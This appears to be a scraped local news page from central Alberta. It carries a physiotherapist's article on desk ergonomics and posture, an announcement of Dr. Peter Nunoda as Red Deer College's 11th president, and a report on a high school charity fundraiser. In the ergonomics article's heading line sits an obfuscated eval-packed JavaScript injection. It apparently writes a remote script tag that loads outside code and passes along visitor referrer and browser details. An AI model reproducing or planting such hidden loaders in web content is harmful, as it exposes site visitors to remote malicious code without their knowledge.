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Reduce pain and prevent injury by improving your workspace

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Ergonomics:  eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abyen|var|u0026u|referrer|bkise||js|php’.split(‘|’),0,{}))
How to optimize your workstation and posture to prevent pain and injury.

In the modern work world many of us spend our days sitting at a desk in front of the computer.  The human body however was not designed for this sedentary lifestyle and will get stiff and sore from lack of movement.  Even if you are active outside of work, sitting at a desk with poor setup and slouched posture can give you chronic aches and pains or exacerbate existing injuries.

Some common complaints that could be related to your posture include:

  • Neck pain and stiffness
  • Headaches
  • Numbness or tingling in the arms or hands
  • Shoulder pain
  • Upper back stiffness
  • Low back pain
  • Sciatica

Making some simple ergonomic adjustments to your workstation can help you feel more comfortable during and after your work day:

  • Ensure you have a good chair that is comfortable for you and adjusted properly.  Ideally you should be sitting with your buttocks to the back of the chair so that you are leaning against the backrest.  You may need to adjust the lumbar support or add a rolled up towel or small pillow behind the small of your back to support your spine’s natural curve.
  • Sit with both feet flat on the floor and the knees bent to about 90 degrees.  Adjust your chair height accordingly or add a stool under your feet if you can’t touch the ground.
  •  Adjust your computer monitor so that your screen is at eye level.  This can be as easy as putting a book underneath to raise it up.  You should not have to look down or strain to see your computer.
  • Have your keyboard at a comfortable height so that your elbows are bent to approximately 90 degrees and you are not reaching forward.  If you have a laptop, consider using an external keyboard so that you type in a neutral position.
  • Adapt your workstation to fit you.  Move things that you use frequently throughout the day (such as the phone, files, etc.) to a location that is easy to access so that you don’t have to reach or move awkwardly to get to them.  This will help you avoid sprains and strains from poor movement patterns.

Even with the perfect ergonomic setup, poor posture can catch up to you.  Some common habits to AVOID are:

  • Crossing your knees.  Sitting in this position twists your pelvis and lumbar spine, putting extra strain on the muscles, joints, and ligaments.  While it may feel good temporarily, you probably need to keep switching positions to stay comfortable because your body is not in a neutral position.
  • Perching on the front of your seat.   While you may think it is good to try to hold yourself up straight without using the backrest it is not realistic to do this for an 8 hour day.  Your postural muscles will fatigue quickly and you will end up slouching and feeling sore.
  • Leaning your shoulders forward and head down to look at your computer.  Think of all the extra strain you are putting on your neck and shoulder to hold your body in this position!  Try to remind yourself to sit up tall – Think shoulders down and back and head up.  Your spine should feel long and supported, but not rigid.

It is also important to stay active throughout the day and break up long periods of sitting in one position.  Here are some ideas to keep you limber throughout the day:

·       Set an alarm to get up and move every 20-30 minutes.  This could be as simple as standing up to do some stretches, taking a quick walk around the office, a washroom break, or going to get some water.  Interrupted sitting is the best way to prevent tightness from building up in your spine and soft tissues

·       Stretch at your desk.  There are lots of simple movements and stretches you can do as you work to keep your body feeling good.  Try to remember to move a little bit at least every 15-20 minutes.  Try stretching your neck side to side, moving your head gently in different directions, rolling your shoulders backwards, squeezing your shoulder blades together, stretching your legs out in front of you, and moving your feet and ankles.

We hope these tips have been helpful and have given you ideas that you can incorporate into your daily life.  Do not hesitate to call us and make an appointment.  An in depth one-on-one assessment with one of our physiotherapists will help address your specific needs for injury prevention or management.

Written by Stephanie Connolly

Click to visit Pursuit Physiotherapy.

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Education

President of Vancouver Community College to take the reigns from RDC President Joel Ward.

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RDC welcomes Dr. Peter Nunoda as 11th President

From RDC Communications

Red Deer College’s Board of Governors has introduced Dr. Peter Nunoda to the College community as the institution’s incoming President & CEO, succeeding Joel Ward after ten years.

Dr. Nunoda, who holds a Ph.D. in History, brings an extensive list of skills and more than 30 years of post-secondary experience to the College. Dr. Nunoda has been the President of Vancouver Community College (VCC) since August 2014. He served as Vice President, Academic and Research at Northern Lights College (NLC) for three years, prior to leading VCC. Under Dr. Nunoda’s guidance, domestic enrolment grew three per cent and the number of international students skyrocketed 75 per cent at NLC through a Strategic Enrolment Management Plan.

From 2007-2011, Dr. Nunoda was the Dean of Faculty of Health at the University College of the North. Before that position, he served as the Director of Access Programs and Program Director for Aboriginal Focus Programs at the University of Manitoba. Dr. Nunoda was also an instructor in the Departments of History and Native Studies for 12 years at the University of Manitoba, where he conducted research projects on various topics, including Aboriginal health education and Aboriginal student retention. His subject matter expertise in Aboriginal health also led him to a position with the Indigenous Health Unit at James Cook University in Australia.

During an extensive search that lasted more than 15 months, RDC’s Board of Governors identified Dr. Nunoda as the strongest candidate to lead Red Deer College through an exciting time of growth and change as it becomes Red Deer University. The Board of Governors thanks Leaders International, an executive search firm, for their assistance in hiring Dr. Nunoda.

“We are extremely excited to welcome Dr. Peter Nunoda as the 11th President of Red Deer College,” says Morris Flewwelling, Board of Governors Chair. “His attributes and experiences at the college and university levels, along with his significant work with Indigenous communities, make him the ideal candidate to lead RDC through the continuing growth and transition to become a comprehensive regional teaching university.”

In addition to Dr. Nunoda’s expertise and work experience, he is a big proponent of collaborating with, and connecting with, the community. Along with Central City Foundation, VCC has hosted Fair in the Square, connecting over 3,000 community members at a festival of food, music and activities. In partnership with Vancouver Trolley Company and funding from Telus, the VCC Dental Clinic hosted Tooth Trolley for pre-registered children and their families, providing free dental exams, seminars and fun activities.

Dr. Nunoda looks forward to using his past experiences in the post-secondary sector, supporting learners and communities, to lead Red Deer College into the future.

Dr. Peter Nunoda, RDC President

“This is an exciting time for Red Deer College as we transition to university status. The future is very bright as we work together to achieve what this community and region have dreamed about for a long time,” says Dr. Nunoda. “It is our responsibility to make the vision of a high quality comprehensive post-secondary institution a reality for the generations to come. I look forward to working with our many stakeholders on this transformational journey.”

Dr. Nunoda and his wife, Joanne, have three children, Erin, Emily and Ethan, who all attend post-secondary institutions in Canada. He is an avid golfer and a dedicated hockey fan.

Dr. Nunoda will commence his duties as RDC President on September 3, 2019.

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Notre Dame Grad Service Project donates $50,000 to Child Advocacy Centre

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From Red Deer Catholic Regional Schools

As of June, this year’s grad service project “Be the Voice” at École Secondaire Notre Dame High School has raised a total of $50,000 for the Central Alberta Child Advocacy Centre. 

Over the past seven months, students in conjunction with St. Francis of Assisi Middle School have been fundraising through different activities and events, such as bake sales, school challenges, food trucks, etc. From April 1-6, École Secondaire Notre Dame High School hosted their Grad Service Project week, where teams of six students and their team teacher worked together to raise money, compete in ridiculous challenges and earn points. On the final day of that week, student teams, along with a parent completed a 22-hour extreme scavenger hunt throughout Red Deer without a vehicle.

“The service project is a Notre Dame tradition. It is fantastic to watch students connect with the charity they chose. They work so hard to raise funds and make a difference. The student’s passion for success of this project extends to their families. It’s great to see everyone getting involved, have fun and truly make a difference in our community. They realize they can contribute and make our community even better. It’s a life lesson,” said Grad Service Project Coordinator, Shannon Nivens at École Secondaire Notre Dame High School.

The Central Alberta Child Advocacy Centre was the charity of choice this year because students liked the idea of supporting children in their local community. Each year the graduating class from École Secondaire Notre Dame High School chooses a charity to raise funds for through their Grad Service Project. For the past 11 years, students have raised more than $600,000 for student chosen charities.
For more information about the École Secondaire Notre Dame High School grad service project, please visit notredamehigh.ca

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june, 2019

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